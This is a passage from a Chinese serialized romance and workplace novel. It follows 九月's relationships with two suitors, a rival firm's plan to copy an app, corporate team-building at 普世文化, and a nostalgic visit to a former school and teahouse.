刚好这时,九月接到莫诚电话。九月不好再拒绝便答应一同晚餐。 很快,莫诚驾着他的进口轿车就出现在公寓楼下。 “想去哪儿吃饭?”莫诚心里早有目的地,还是很绅士的问一句。 九月摇摇头,“都可以啊,没有特别想去的地方。” “世博广场可以吗?那里有一条很宽的紫荆江,夜色特别美,饭后可以在江边感受水天一色,云月相映,灯火阑珊的华丽景色。” “听起来不错。”九月欣然答应。 第七十九章 克普硝烟 小竺走出酒吧时,看到一辆熟悉的墨色轿车,轻轻一笑,拨打了莫诚电话。 小竺:“哥,你跟嫂子在哪儿?” 莫诚:“送她回去的路上,怎么了?” 小竺:“没什么,关心一句。” 她收了电话,漠然的面孔瞬间展露妩媚的笑,走至墨色轿车旁:“尚总!这么巧?” 尚云的笑不及眼底,“巧吗?是世界太小了。” “尚总是要回去吗?正好,我同路去找九月。今天喝多了,尚总不介意载我一程吧?”小竺也不等尚云回答,便坐进车里。 尚云本是要回别墅,但小竺却要去找九月。同什么路? 木信在一旁,本想说不顺路。尚云用眼神制止了。 堂堂雷默新任董事长还付不起代驾费吗?故意蹭他的车,可没这么简单。她这葫芦里卖的什么药,随她去看看便知。 普世公寓附近停着莫诚的车,他追过去,“九月,你落了东西。” 九月穿着米黄色秋裙,身材匀称,煞是明艳动人。 “我没有落东西。”她检查手提包说道。 这时,莫诚已经走到她身边,“这个给你。” 那是一只礼盒袋,盒子里装了只价值不菲的项链。九月很惊讶。 莫诚轻声道:“中秋快乐,我第一次送礼物,你可不要拒绝。” 她将盒子盖上,装进袋里还给他,“我不能收,太贵重了。” “九月,收下吧。我喜欢你。我希望未来的节日都有你在身边,我们的缘份是上天注定的,在多年以前,大雨天的榕树下就开始了。” “可是,我还没想清楚。”九月自从知道当年尚云为慕家付出的一切,就已经悄悄拆掉了两人之间的防护墙,心里对尚云冰封的情愫也渐渐苏醒,她几乎强硬的把礼物还给他:“说什么也不能收你的礼物。” 莫诚有心理准备,但还是被九月这一举动给伤到了。 他苦笑道:“九月,小竺已经把你以前的事告诉我了。我不介意,我可以等你放下心结。 何况,时隔十年,你和他人生轨迹完全是两个世界。你不知道他有什么经历,认识了什么人。他也不知道你这些年经历了什么,体会不到你的心境。 人心都会变,他也是一样。你不能因此就将我拒之门外,我担心如果真的就此放手,等到你想明白,我们却已经错过。单单是想一想就可惜到心痛。 给我一个公平竞争的机会,好吗?不要这么快的拒绝我。如果未来,你最终还是选择他,我也祝福你。” 说完,他转身横过马路,这时一辆车从后方开过来。九月吓得心都跳出来了,追了两步将他拉了回来,“莫诚,危险!” 莫诚顺势将她扯进怀里,紧紧抱住,“九月,你在担心我,你心里有我的对吗?我真的喜欢你,飞蛾扑火般地喜欢你,我已经陷进去了。” 对的,飞蛾扑火。他将内心话说了出来。明知道当有一天九月知道所有真相,他们之间绝无可能会在一起。 小竺上次在九月原来的住处,跟他吵架时提醒过他,“你是在玩火。为了补偿她,你我这些年做的够多了,你现在要把自己,甚至把整个箫家赔进去吗?” 九月被他箍得喘不过气来,正要说话,视线越过他的肩膀,瞥见一辆墨色轿车停在不远处,打着双闪灯。 她惊愕地看着那辆车,这辆车她太熟悉了,根本不用猜,就知道车里坐着的是谁。 可是,他为什么会在这里?不是同木信赴约去了吗? “你不说话,我就当你默认了。”没听到她的抗辞,莫诚松开她,嘴微微勾起:“九月,我帮你把项链戴上。” 墨色轿车车上的一男一女不约而同紧紧盯着路边亲密紧拥的一对人儿,车内气氛有些怪异。 “怎么不下车?”看着九月戴着男人的项链,消逝在视野,而男人也驱车离去,尚云僵冷的表情终于缓过来。 “谢谢尚总顺路送我过来,不过我好像迟了一步,我的朋友刚从外面约会回来,我猜她现在需要独处,我不便打扰。”小竺女人妩媚一笑,推门下车:“下次见尚总。” “太客气!”尚云皮笑肉不笑,深邃的眼睛瞥了她一眼,神色复杂。 如果他猜得没错,刚刚这一幕,是这女人故意让他看见的。这点小伎俩,也敢在他面前卖弄。 木信调头,送尚云回望月居别墅。 看着车窗外,夜晚的霓虹愈发光彩夺目,在视野里仓惶闪过。尚云的思维并不在车外的夜景,脑海里尽是九月与莫诚相拥的身影。 他闭着眼睛靠着椅背,几不可闻的叹息一声。 木信从后视镜看他一眼,皱了皱眉,没有说话。 克普公司,工作日一派繁忙景象。 会议室里,Aaron亚伦正在召开管理会议,一口令人惊叹地流利中文:“我们的强大对手普世文化在过去几天,突破我们的围堵,我们本来在App上线占了优势,现在风头远远不敌普世。 咱们要迎头赶超,眼看就要形成新的局势。这次拉开距离,这次想超车没这么容易了。不过,我们要关注他们的动向,时刻留意对手有什么新动作,对手优秀的地方我们可以向他们学习。” “他们在作死,将业务全部抛出去免费授课吸引关注,下面的人等着饿死。”项目评估部的罗总不屑地说。 “看起来这是疯了才干的事对吧?”市场部孙总笑道,嘴上这么说,却并不这么认为。 “影响是存在,并没有这么夸张。你们以为尚云是吃素的?”风控部邓总擅长剖析深层原因,这件事他认为没那么简单。 孙总点点头:“我也赞同这种说法。这是一种投资,放长线钓大鱼。还记得普世刚起步那会,业务并不稳定,但他们敢于在前期投入大量资金去建设训练场做培训,培训看似无用,但这些都在后面的每一天工作中拿到结果的。 普世的执行力无人超越,凝聚力也不可小觑,短短两三年就能在这行业中独占鳌头,试问哪家公司可以做到。” “你这是长他人威风灭自己志气,我们公司不就只用了半年时间不到,压他们一头吗?”一向说话较冲的投资项目管理部的席总不冷不热地呛道:“再说,一家公司光有文化理念,大家喝西北风去。最后决定江湖地位的一定还是产品和服务。” 罗总缓和气氛道:“诺,这问题绕了一圈,又回来了。还是得搞清楚他们在做什么,怎么做的。才能将抄袭回来的App玩转。” 邓总看不惯席总,但也只是硬话软说:“我们......没必要跟在他们屁股后面捡漏,打造我们自己的优势又有何不可?” 席总冷笑道:“抄袭App技术之前怎么不说反对的话,现在才说风凉话,装大尾巴狼啊。山外面全是荆棘,山里边全是黄金,但对手更有实力开山劈路,我们跟在后面就能捡到现成的黄金,何必浪费人力物力去另辟蹊径。” 第八十章 普世布局 邓总接过话头,夹枪带炮地说:“说是这么说,但咱公司好歹也是雷默重金投资的公司,靠山稳前途不可限量,砸这么多金,去抄袭一个凭白手起家的小公司,自身的产品来路不正,传出去也不好听。” 席总气不打一处来,就差站起来指着鼻子骂了:“诶!我们说的是一回事吗?这天下喝的牛奶就一家吗?用的电脑品牌就一家吗?你用的系统软件就一家吗?手机品牌就一家吗?只要有产品,我们就能复制。能将复制品打造成响当当的品牌名号,那是我们的实力,谁敢说我们来路不正?” “好了好了,别吵!”Aaron亚伦举起双手往下压了压,等底下平息了才说道,“目前公司具竞争力的反而是品牌策划这一块。鸡蛋不能投放在一个篮子里这是谁都知道的道理,全球经济的趋势并不乐观,文化管咨这一块也要跟得上时代变化。即然内部没有头绪,多向外部学习是没错的。” 明眼人都看在眼里,明在心里,这场争论中,Aaron亚伦又一次偏向席总监。哪次不是这样,所以席总在公司走路都像螃蟹,横冲直撞。 Aaron亚伦直接指派任务:“孙光正,你负责市场调研工作,罗桥,你路子广,负责去普世做探底工作。如果没有其他问题,散会。” 其他人陆续都走了,罗总也站起来,见邓总铁青着脸一动不动,便等人都走光了,才小声说道,“你看不出来吗?Aaron亚伦总是帮着席总,你下次别跟他硬碰硬,讨不到好。” 邓总气鼓鼓的说:“你瞧他那一身匪气,克普好歹也算得上行业龙头,怎么就惯着这种人在公司呢?” 罗总是个信号收集塔,无所不知:“你来公司有一年了吧?知不知道他是二公主的人?以前在二公主面前鞠躬哈腰,鞍前马后,从此地位就妥妥的。还有,老板的娘马上就要回国了,席总可是老板的娘的远房亲戚,你没看他一天比一天得意吗?” “二公主?你说的箫小竺?切!看得上他?” “是看不上,而且据说箫小竺结婚了,但人家是二公主的忠诚心腹呀。你想啊,一般人投入了这么大的资金,恨不能住在这里盯着。可箫小竺却连露脸的时间都很少,她是心大吗?当然不是,这里谁经常翘班、谁拉小山头,我们的一举一动恐怕箫小竺比我们还清楚。” “你是说席总是她的眼线?怪不得。算我倒霉!”邓总摇头叹息。 “害!想开点,没事。以后知道就行。”罗总拍拍他的肩膀,二人走出会议室。 与克普公司的明争暗斗相反,普世文化倒是气氛和谐,办公气氛比节前还要忙碌火热。 主要是尚云直播授课之后,业务不仅没有下降的趋势,还猛增了几倍的业务量。 “是时候筹建第六梯队了。”尚云在蓝鲸总队群发出信号。 蓝鲸三大总队长受命,立即布置下去。 每支分队规定固为6人,各司其职。组建新团队的方式,是从老队伍里各抽调不同的岗位1人,裂变为新的健全团队。 众多老团队则各增加1位新人填补,因为有旧的文化氛围和成熟的机制、默契的规则和行为模式,新人很快能被小组团队带动,同化。 一般的公司突然增加比原规模多出几倍的新入职人员,早就乱成一团,冲散了文化。 然而普世公司扩展规模,像人体新陈代谢一样,如此不动声色,公司便悄悄壮大一轮,非常有序,平静得像纹丝不动的水面,不见起伏,连个泡影都没有。 尚云按照《易经》规则,一生二,二生三,三生万物,所以无论公司拓展多大,三大蓝鲸总队结构不变。 一般人可能不太留意,但远方有一个高人,却看破普世文化的团队组建存在很强的蓄势待发的力量,“潜伏久居,必有冲天之志。待机成熟,即将脱去束缚,发展迅猛。势弱时便能有这样的布局,普世文化的创始人不是非凡之人。” 旁人再问,这位高人便微微笑道:不可说,不可说。试目以待便可。 尚云确实精通《易经》之道,敬畏自然力量。谁都知道普世文化有三大蓝鲸团队。不是四队、六队、八队,偏偏是三队,数字“三”在《易经》中代表无穷无尽,可谓用意深远。 每一支总队不是扁平发展,壮大队伍,而是层级发展,每个小分队固定岗位,分支独立核算盈亏,各凭本事吃饭。 成员在公司的训练下各自培养出自己的独特能力,无取代之虞。也不会导致机构臃肿,推诿扯皮。 上下层级相互独立又相互牵制。因此,每一支蓝鲸总队下都分了六个梯队。 第一梯队为3支分队,第二梯队有9支分队,第三梯队有27支分队,第四梯队有81支分队,第五梯队有243支小分队。 目前的发展稳健,公司即将开始筹建第六梯队。 因此,目前加各部门间接人员,普世文化共七百余人。看似是一个偶然的数字,其实是现阶段必然结果。公司一向发展缓慢。但一旦向上跃升,就是数倍增长,像竹节一般,有规律可循。 等到公司六梯队健全,公司蓝鲸团队数量便会恒守在2187支分队。 在普世公司成立的第九年,蓝鲸团队2187支分队势匀力敌,根据总部战略需求,2187支分队各自独立分布全球,就地展开业务,建立分公司,均所向披靡,存活率100%。 届时,普世文化真正意义上成为普世文化。 以上皆是后话,按下不表。 上一次职务调整,木信全面接管公司运营,虽未明说,但大家似乎都心中明白,木信就是下一任总经理候选人。 也因此,木信压力骤增。不仅抓整体,也要捉捕细节。 此时,他正在召集各部门人员领头羊开会,“......公司业务量大增,人力资源部抓紧搜罗人才,虽然任务紧急也不能剑走险招,务必要严格按照公司的要求,在人才质量上不打折扣的增补新员。” “好的,保证完成任务。”人力资源部经理说。 木信顿了顿,说道:“行政总务部则要注意,无论多么优秀的人才和文化,人的情绪始终是影响工作的重要因素。工作强大的压力下,我们有必要建立心理疏导机制,一是为员工排忧解难,二是解决员工存在的困惑,尽可能第一时间了解员工想法。 大家忙着工作,可能有好的想法或者心里苦恼也不会特意分心去投寄信件,时间一长都会淡忘,有的积压在心里,等待出口爆发。 谁都不想做救火员,要提前打预防针,防患于未然。 其实公司也可以挂在显眼的地方,让有需要的员工自己去投寄。不必每个部门专门让人去询问有无信件要寄给总经理。但公司不搞形式化,要真正落实。 每个部门要找一个敏锐、洞察力强的信息收集员,负责此事。” “好,会后我就立即安排。”行政总务部经理点头。 第八十一章 九月走向管理之路 木信接着说道:“研发部,我们前段时间上线的App总算有了满意的关注度,但我们还是要维护好,注意后台的客户投诉。 公司要不断内向成长,不断创新,不要等到外界或客户提出批评建议才去改良。因为公司的价值观就在客户没想到,我们要做到。客户想到的,我们要做到极致。 因此,我们现在可以着手研发新的线上产品。 我在接管蓝鲸团队时,有接触到很多客户的痛点,离开了我们的保护,他们如何才能知道所做决策是否正确。 那如果以此为方向,我们研发一个智能测试可供客户参考的程序,以我们众多客户基础数据为分析点,策划一下,做出一款靠谱实用的决策预测程序,那么App业务将会更加受欢迎。” 研发部经理应道:“好的,我们会后便建立讨论会,成立项目小组。” ...... “大家的配合度很高,工作积极性也很强。但若想在职业上再向前迈进,我们必须要站在高于目前的职位去看事情发展方向,替公司想问题。带领身后的团队做出超前应变,才能跟上公司的发展。 尚总在创业初期就说了,这个公司不是他一个人的,是我们全体人共有的。他也是这么行动的,每到年底大家应该有所体会。 正因为如此,公司有很长远的目标,未来的舞台只会更大。每个人都有可有挑起比我肩上还要重大的责任。所以,我们每个人都要提前做好准备,训练独当一面的能力,跟公司共同成长,互相成就。 等到哪天,我还没提出工作要求,你们就已经提前做到,那时就证明大家又进阶了。今天的会议就到这里,大家先按我刚才所提议的方向去做,三天之后开复盘会议,辛苦了!” “好。”众人应到。 会议终于结束,木信点开静音键。 发现有几个未接来电。一看原来是女朋友姗姗打来。但总经理找他有事相商,他只能将手机收起来,朝总经理室走去。 尚云正找九月谈话,他便趁机回复了女朋友一个电话。 姗姗情绪不是很高,但心情倒是平静,“没事了,刚才有点情绪作祟。但现在我调整好了。” “真没事吗?”木信有点不相信。姗姗有主见,个性挺强,是潜在的女强人,不是那种娇滴滴小鸟依人类型。如果没事是不会在上班时间打电话给他的。 “真的真的,我知道你挺忙的。我这会也有点事儿,先不说了。” “那行,先工作了。下班之后我再给你回电话。” “好啦,知道了。” 通完电话,看九月从总经理室走出来,便道:“没事吧?” “没事,尚总接受客户建议,说能否换一个人负责撰写企业故事文案。他让我了解下情况。我有点疑惑,这不一向是甘总队、厉总队和乔总队负责的吗?公司有没有什么变化?” 木信扑哧就笑了,“这么明显你还看不出来。” “什么?”九月更加一头雾水。 “我的职务有了根本性转变,以前是老板特助,凡事都会插手去管。但现在不一样了。我独立出来,专门负责公司整体运营,目标明确。三大蓝鲸团队则彻底地划分出去。 你由老板亲自带着跑,蓝鲸三大团队暂由他亲自带队。他日理万机,何必要将这些事情都揽在身上。都是为你以后发展着想。” “我还是不太懂。” 木信眨了眨眼睛,有点无奈这榆木脑袋不开窍:“平时很聪明一脑袋,今天怎么点不透呢?你来公司后就在入职训练中乍露锋芒,被评为“高潜能人才”。后来时间不长又掌握了公司业务全部知识,尚总就嘱咐我让你独立作业,多历练。没想到你在项目上也表现非常优秀。老板觉得你是一个难得的将才。 但毕竟在管理事务上完全为零。这不,就从这些不大不小的事情入手,交给你去锻练。一方面增强你的管理水平,另一方面让下面的人看到你的能耐,为你以后铺路啊,还不明白吗?” “这,难道......”九月诧异地睁大眼睛,她隐隐猜出了结果,欲脱口而出。难道自己将成为蓝鲸三大团队的负责人? “没错。老板在培养你。”木信点点头。 懂了。九月无声地点点头。忽然想起尚云在医院跟自己说的那番话。 “你在普世的这段时间,我看到了你的天赋和能力,看到你认真负责的工作态度。你值得拥有更广阔的天地去搏击长空,实现自身的人生价值。普世文化可以提供平台,你可以尽全力施展自身才能,它照单全收......” “老板约我谈事,我先去找他了。回聊。”木信说完,朝总经理室走去。 九月不敢耽搁,立即去了蓝鲸团队大办公室。 会见了三位总队长,跟一队甘队长和三队乔队长打过招呼后,约了他们分队里两个文案撰写人,在不同的时间面谈。 三队的李楠倒是挺乐观积极的,听说要额外接一项任务,便想都没想便答案下来。 一队也不是没有这样的人才,但李楠的风格正好符合客户所求,便跨部门调派资源。 客户那边果然满意,这件事情算是解决了。但肖宏这边确还存在一个长期问题。通过调查以前的项目,发现肖宏所有文案透露出一个文风问题,虽然普世文化强调个性,自由发挥。但如果客户不认可,等于这种风格无效,产出不了价值。 九月找肖宏在休息间轻松闲聊,“肖顾问,你来公司的时间比我早两个月,在公司和工作适应得怎么样?” “惭愧,我比你来得早,但我现在工作能力不行,而你在入职训练中就被评为高潜能人才,起点就不一样了。” “谁说你工作能力不行?”九月惊讶于他的悲观。 “客户不认可我的工作,可不就是工作能力有问题。再说,你今天跟我谈话不也是这个原因?”肖宏沮丧地说。 九月猜测他是一个敏感的人,已经将原来预订的谈话室取消,两人改在茶水间的休息室里聊天,没想到他心里还是很抗拒。 “你们换李楠顶替我,就已经说明问题了。” 九月想了想,扫码从冰柜里拿出两瓶饮料,说道:“你喝哪瓶?” 肖宏随手拿了一瓶。“谢谢。” 两人饮了几口,酸甜的味道让人精神稍微活络起来。 第八十二章 校长的天才学子 九月见他脸上的不悦稍微消散,这才问他。“肖宏,你知道自省人格和自责人格的区别吗?” “知道。你想劝我别太自责?” 她摇头笑道:“不,我从不劝任何人。外力改变不了任何一个人,只有他自己意识到需要改变,才会真正发生改变。 “你刚才拿自己和我比,又拿自己和李楠比。你对自己的评价非常低,我相信你一开始也是信心满满,因为客户的不认可才开妈消极以待。 你得换一种思维方式。第一,你付出了努力,但刚好成果不是客户想要的。第二,你责任心重,想将事情做好,得到客户的认可,当得不到预料中的结果,你才会如此沮丧。 第三,普世公司有严格的招聘筛选制度,如果你的工作能力或潜力没有达到公司要求标准,是不会录用你的。所以,这件事跟你的能力没有关系。” 肖宏摇起头,怔怔看着九月。张了张嘴,又低着头,但神情已然放松不少。 九月继续深化问题:“这说明你是有能力的,但产出的结果不是客户想要的,这说明我们做事的方式需要调整,而不是全面否定自己。” “做事方式?”他皱眉深思。 “没错。我看过你和李楠撰写的企业故事。同样的题材,你们表达的内容也是一样的,但形式不同,观感就不同。 比如,李楠的特色在于她善用积极的情绪融合进企业故事里,哪怕她在写低潮部分,也是为了将故事推向高潮的手段,别人能从故事里感受到希望,此时再将故事反转成我们期望的结果,顺带满足众人喜闻乐见的观感。 你写的故事也很精彩,但出发点在于制造一些焦虑,逼着大家认清现实,寻求改变,沉重而悲壮。虽然客户也能接受这种模式,因为释放焦虑所以更扣人心弦,感染力很强。但是,人和植物一样,都喜欢向阳而生。 人更倾向于喜欢靠近乐观向上的人,因为他本身散发出来的温暖会传递给周围的人正向能量。这是客户更喜欢李楠的风格原因。” “我明白了。”肖宏点头,张口就说,“我尝试改变。” 九月就笑着接道:“改变不容易。但不代表做不到。”她担心肖宏尝试几次就放弃,所以提前打预防针。 肖宏抿唇,不好意思的笑着点头。 “想要输出什么,就要心底有什么。凡事先肯定,再寻找解决办法。否定解决不了问题,只会加重情绪,导致问题变严重。”九月说道,“改变了思维方式,我相信你就做到了。” 九月自己也没想到,这一番话竟改变了肖宏的人生轨迹,成为了后来普世文化最有名的文化故事大师。 肖宏当即表示,“我会认真思考这个问题,谢谢你给我中肯的建议和批评。” 工作上的事务解决完,九月松了一口气。 下班后,尚云叫九月去办公室,递给她一只盒子,“中秋节直播课,给公司带来业务上涨,你功不可没。这是公司发放给你的奖品。” 九月大方接过来,挑眉微笑道,“中秋加班还有奖品?” “加班没有奖品,但加班出成绩拿了结果,就有奖励。”尚月说,目光快速扫过她纤细的脖颈。 昨晚莫诚给她戴的那条项链,她取下来了。 九月打开盒子,那是最近款的双面屏可折叠手机。正好手机维修了一次电池很不耐用,想着有空去换个新手机。这下不用操心了,当即愉悦地说:“谢谢尚总,很喜欢。” “喜欢就好。”尚云眼底浮现笑意,转瞬即逝,正色道:“这周跟我出趟差,两到三天的样子。你将手头上的事情处理好,明天出发。” “出差?”她脸上闪过一丝意外,因为答应了这周末回安源给孩子们上课。 “怎么?有事?”尚云脸色转而变得严肃。 九月也就直说了,“一点私事,我每半个月要回一趟安源。此前已经答应了校主任给安源中学的孩子们教美术课。” “没事,今天周三,我们抓紧时间,可以赶在周五晚上赶回安源,不耽搁你授课。” 话是这么说,客户公司在深度把脉时,出现了意外情况,他们顺便一起分析处理。不知不觉过了时间,紧赶慢赶,还是耽搁了。 周六上午十点才完成全部工作,尚云一路加速,再加上周末的车流拥挤,一直到太阳在半空高俯大地时,才终于给九月送到安源学校。 “你还有十几分钟时间准备,不算太迟。”尚云看看腕表,提醒她。 “你要进去坐坐吗?”九月问。学校里的老师都很喜欢尚云,到如今还常常跟她提起,当年尚云那前无古人后无来者的天才成长模式。“主任和校长都还念着你。” 尚云半晌颔首,“你去上课吧,我去买点东西,一会来接你,顺便看看主任和校长。” 九月下课时,果然看到尚云站在校门口,提着两大袋东西,九月不知道那是什么,便要帮忙去提。 “主任不在,今天校长值班。”九月说道。“我也帮你提一点。” 一只大手阻拦地挡住她的手腕,尚云淡淡道:“东西不重,你在前面带路就好。” 穿过花坛,来到学校后院,那是老师们的宿舍,周末大都回家了,后院静悄悄的,一排排桂花散发着清香,花坛里错落有致种满各色花草,满天星繁茂盛开,绿中映着紫星星,煞是好看。 校长刚做好午餐,见到二人又惊又喜,听到九月介绍说这是尚云,高兴坏了。 “尚云?!”钱校长手往围裙上擦了擦,欣然地握住尚云的手,“大变样了尚云!” “想不到校长还记得我。”毕竟这么多年了。 “当然!”钱校长说得不容置疑,“一百年难得一遇的天才学子,怎么会不记得?” 三人不约而同笑了。 便说起很多年少时期的事情,有些事情尚云都不记得了,但钱校长却能绘声绘色的描绘出当时的情景。 钱校长热情地邀二人共进午餐,说蔬菜都是自己后园种的,健康环保。听说开车来的,便买来饮料当酒,茶足饭饱之后,尚云便打量起校长的宿舍,那里独独挂着尚云那一届学生合影。 当时六一儿童节,学校应节气,组织了一场文艺活动,钱校长亲自打节拍,尚云那班的学生则唱了一首《感恩的心》,校长说起这个学生都是骄傲之情。 老校长这会去了后园,说要给他们摘些蔬果带回去。九月跟在尚云身后,看到照片中熟悉的身影,便踮起脚笑着说,“你看,你在这儿。化了妆统一服装,我还是认得你。” 刚往后退了半步,立即被尚云拉过来搂进怀里。 她被他突兀的拥抱惊得不知所措,心脏剧烈跳动,像要从喉咙里蹦出来。 就听呯的一声,一块重物重重掉在她身后。 她惊了一下,下意识把头钻进他怀里。她能听到他如擂鼓的心跳声,感觉到他呼吸灼热的喷洒在她颈间肌肤上。 他骨节分明的修长手指按在她头上。这一个拥抱也许只是一瞬间,却似乎历经了地久天长,这短暂一刻所产生的浓烈感情,是几千个日夜积淀在心底隐忍不发的爱。 门口传来了脚步声,二人立即松开。 第八十三章 故地重游 紧接着传来钱校长惊诧的声音:“这照片和字匾怎么掉下来了?没伤着你们吧?受伤了没有?” “还好及时躲开了。可能是钉子锈松了,才突然掉下来……”尚云捡起地上的照片和断裂的木框,九月则拿来扫把清扫玻璃碎片。 “小心,让我来,没伤着就好。” 尚云看着潇酒酋劲的字体,说道:“只可惜了一好字画。” 钱校长眉开眼笑道:“这哪什么好字画,就我自己随手涂鸦。学生帮忙装帧好,便挂在这里。” 三两下将破片清扫出去,忙得差不多时,尚云和九月便提出告辞。 像是送走远行的儿女,钱校长将自己采摘的蔬果硬塞到尚云的后备箱中。 车行驶在热闹的街头,两人都没再说话,九月偷偷瞧了他一眼,而尚云也正巧看过来,他们之间的气氛正在悄悄发生变化。 “你有话要说?”尚云轻咳一声,问道。 “没有,没有。你好像有话要说?”九月不自在的撇开目光。 “嗯。你上次发的朋友圈那个位置,我想去看看。”尚云说完,车子便已接近那条熟悉的街道。 九月刹时已经明白,他要去的地方是绿荷轩。“齐大爷和大娘上次还提到你。” “是吧?那更要去看看他们。” 尚云嘴角含笑,注视着路况。 九月则望着窗外,噙着一抹笑。他总在不经意间,就让她感动得一踏糊涂。 工作上他严厉而权威,运筹帷幄,生活中他依然是那时的尚云。终究不是他表现出来的那样冷傲,若有若无距离感。 真正的尚云,好像回来了。 只是,他的亲和力就像虚无飘渺的海市蜃楼,只能远远的看着它,不敢眨眼,享受短暂的美艳。 “发什么呆,到了。”他提醒道。 九月缓缓下车,看了看天边,在学校时还红霞满天,现在竟是青云密布。仅隔两公里,天气也会有如此大的变化? “要下雨了。”她喃喃道。 “那正好,雨停了再走。”他满不在乎。 虽然地段较偏,但绿荷轩向来做的是熟人生意,又因为是老字号,深得人心。因此,周末这里就人满为患。 凉亭一角还坐着三个人在一边喝着奶茶,一边品尝糯糍点心。 一个熟悉的高大身影,手脚麻利的收拾着桌上的碟盘、茶盏。 那不正是齐大爷吗?九月走在尚云身后,正要叫他。 突然,尚云回头竖起食指放在唇边,示意她别出声。九月意会,抿嘴一笑点点头。 尚云轻轻走到老人身后,伸出手去,快他一步收走茶壶,说道:“齐老板,来两份糯糍,四个薄荷馅,四个红豆馅。” “今天卖完了,明天再来。”老人边说边转过身来,看到来人后,瞠目结舌。“你,你是……” “齐大爷!好久不见,你还好吗?”尚云看到预期地效果,俊颜逸笑。 “臭小子,你……你还记得老头子呀!”齐大爷把手上的东西全扔回桌上,猛地抱住尚云:“齐大爷想死你了,十二年了,你这狠心的家伙终于晓得回来了!” “我也一直记挂着你和齐大娘呢,这不就来看你们了吗?”尚云握着茶壶的手,伸得远远的,怕洒出来。 九月默契地走过去,接过他手上的茶壶就往木屋里走。“齐大娘呢。” 屋里传来一声应答,看到九月到来,屋里传来一声欢喜的笑。 唧哝了一会,齐大娘跟九月就从屋里出来。乍一见尚云,齐大娘眼睛瞪得都圆了。不一会儿,幽静的“绿荷轩”扬起许久不曾有过的爽朗笑声。 最后的几个顾客结完帐,齐大娘利落的收拾完,马上又系上围裙,准备洗手要给他们做糯糍。九月也跟进去,说要帮手。齐大爷则乐颠颠地沏上一壶好茶,谈兴盎然地跟尚云叨叨。 到最后,干脆把棋盘也摆上桌,直接就由忘年之交变战场之敌了。 两人棋来棋往,刀锋剑影,一片寂然。 半晌,只听齐大爷闷叹一声,弃棋沮丧道:“想不到啊,这些年我参加小区的棋社,苦练了几年棋技杀遍棋社无敌手,到头来还是输给了你。” “我这只是侥幸得胜。棋局三定,这才第一盘,还不知道谁胜谁负呢。”尚云微微一笑。 齐大爷一听,抖擞起精神,又摆上棋子。 糯糍推入蒸笼,九月得闲,便出来站在一旁观战。 新的棋局展开,正所谓高手一步千虑,两人都是“动子一粒,筹谋三招”的主。表面和风细雨,却又涛光暗锐于无形中,双方棋艺之精湛令人咂服。棋到尾声,尚云剑走偏锋,便已被敌军远远对准胸腹之地,而尚云却很大意,竟然没有发现。 九月以前陪齐大爷练过手,稍懂皮毛,并不精通。俗话说,旁观者清,当局者迷。也许是因为站在局外,她才会把局势掌握得如此清楚。 看到尚云岌岌可危的棋势,她在旁边心惊胆颤,只是深知观棋不语的规则,又不能提醒尚云,只能捏着拳头干着急。 又过两招,齐大爷杀气渐露,步步紧逼。尚云还在不紧不慢的打边战,他轻轻落下一子,手刚抽离,九月就偷偷扯他衣袖想提醒他。 他不着声色的握住她的手,食指在她手背上轻敲两下,表示明白。 再看他面色柔和,抿嘴而笑,九月心下恍然——他是故意露出破绽,让齐大爷赢的呀! 齐大爷眼尖,看到他们握在一起的手,嘿嘿笑道:“小子,你再贪恋儿女情长,可就要全军覆没了。” “齐大爷……”九月撒娇。立即抽出自己的手,红着脸站得远远的。 尚云忙摆出凝重的表情,聚眉全神贯注。 “齐大爷,你这几年没少下功夫呀,棋艺实在是高,深潜暗伏,忍辱负重,到最后直捣主帅。让人防不胜防,我输了,心服口服!”尚云磊落而笑,俊目炯炯。 “你小子不会是让着我吧!”齐大爷对尚云的夸辞很是受用,舒展笑容,眼睛笑成一条线。 “齐大爷太会说笑了,这关键的一棋我拼了全力都来不及。” 九月看着齐大爷如孩童般的骄傲神情,忍俊不禁。 正说笑间,齐大娘在屋里喊道:“九月,糯糍熟了。” 第八十四章 故人心易变 九月应了一声,进屋把糯糍端出来,摆在靠池塘那张桌子上,两人中断了谈话,同时看过来。 齐大娘也走出来,指着九月那张桌子笑道:“早盼晚盼,终于把这张桌子盼圆了。” 九月被她意有所指的话说得有些不好意思,又把碟盘端回来。 “别啊!”齐大娘忙把她推回去,接着又把尚云也推过去:“大娘开个玩笑,那可是你们的专属桌子。” 尚云倒是落落大方的坐下来:“这么多年,让大娘劳心了。” “把你们当成自家孩子一样,说谢不就见外了么?你们慢慢吃,特别是九月哥哥,尝尝大娘的手艺进步了没有,我们去把杯盘洗刷干净。”齐大娘笑得眼睛成了一缝,然而向齐大爷招招手。 齐大爷会意,笑呵呵的站起来:“对对对,等洗完盘子,我跟九月哥哥还要好好下一盘,决出胜负。好久没这么痛快过了。” 摞下话,二老飞快闪人了。 “尝尝!”九月用竹筷夹起薄荷馅的糯糍放在他面前的小圆碟里。 “这些年,你常来这?”他漫不经心的问,咬了一小口,细细品味。 “没有。就上次匆匆来了一回。”她不能告诉他,自家里变故后,就再也没来过。那样的不愉快记忆只会提醒两人的处境,只会让此时的温情消散更快,她竟有些贪恋这样的时光,这样温柔这样耐心的他。 “嗯,还是当初的味道。”他点点头,抬头看了看越发黑沉的天空,说道:“就连木屋和凉亭,也都如初见的模样。” 初见?九月垂着头,脑中就随着他的话,自然而然想到了纳兰性德的那首木兰辞。 人生若只如初见,何事秋风悲画扇。等闲变却故人心,却道故人心易变。 尚云,你是这个意思吗? 一颗红豆馅的糯糍落在她面前的小碟里,略显清冷的声音飘过来:“想什么那么入神?” 九月抬眸,手指不经意地轻轻拂开刘海:“我在想,等闲变却故人心,却道故人心易变。这两句词。” 他的视线随着她的动作落在她的额前碎发上,声音微沉:“那你想到了什么?” 九月心一横就说出口:“变了心的人,会找各种理由、各种借口搪塞过来。到那时,初见模样,又有几分可怀念?” “你在说什么?”他脸色迅速发沉。 “如果没有变心,为何处处要保持距离?如果已经变了心,为何要留我在身边?”她脱口而出,立即意识到自己说了什么。 他突然发狠的一筷子戳进面前的薄荷糯糍里:“我不知道你在说什么。” 九月看着那枚可怜的薄荷糯糍,暗暗叹息。嘴上却礼尚往来:“你知道我在说什么,只不过我永远也无法叫醒一个装睡的人。” 他气恼的丢下筷子,冷不丁的道:“慕九月,你我之间的关系越简单越好,职场容不下第二种身份关系,你是公司看重的人才,请保持清醒。” 她被他的话噎住,胸口胀闷了半晌说不出一句话来。 突然轰隆一声闷雷,豆大的雨点密集的洒下来。 